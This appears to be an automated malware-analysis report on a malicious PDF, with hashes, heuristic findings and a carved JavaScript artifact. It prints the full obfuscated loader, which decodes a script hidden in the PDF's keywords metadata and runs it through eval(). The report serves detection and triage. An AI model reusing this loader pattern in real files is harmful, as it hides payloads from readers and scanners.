PDF malware analysis — malicious · 8b159d42d5e4c935

MALICIOUS

PDF

22.6 KB Created: 2006-02-16 15:03:51 -08:00 First seen: 2026-05-08

MD5: 71cd0ecf28f744da24bd6855cd13a37c SHA-1: 886fdf6aeea1eaa98f52ab9f01cebb92718f801e SHA-256: 8b159d42d5e4c9355119efa19654eb679919436336bb8946177fd0c05d5763e3

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF document contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_EVAL heuristic firing suggests that the JavaScript is obfuscated and uses an eval() call, likely to download and execute a second-stage payload. No specific malware family could be identified from the available evidence.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
try{document.createElement('p');}catch(a){eval(s);}
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0076_000.js`	pdf-javascript-stream	PDF /JS object 76 at offset 0x589E	221 bytes
SHA-256: `a78ded893d5d8acdd4f258dbde0f9a07624fcbcf7b300a191c2e3c1974610f12`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script $=">hydPwlom\|Q+3_(Df1EV/a'8c5t4.6jkK9s=0]e*<7{'GS)&-nqMg;pu%2,IzN AvC[i}:brU@Wx"; s=''; a=keywords.split(';'); for (i in a) { s+=$[a[i].charCodeAt(1) - 97]; } try{document.createElement('p');}catch(a){eval(s);}

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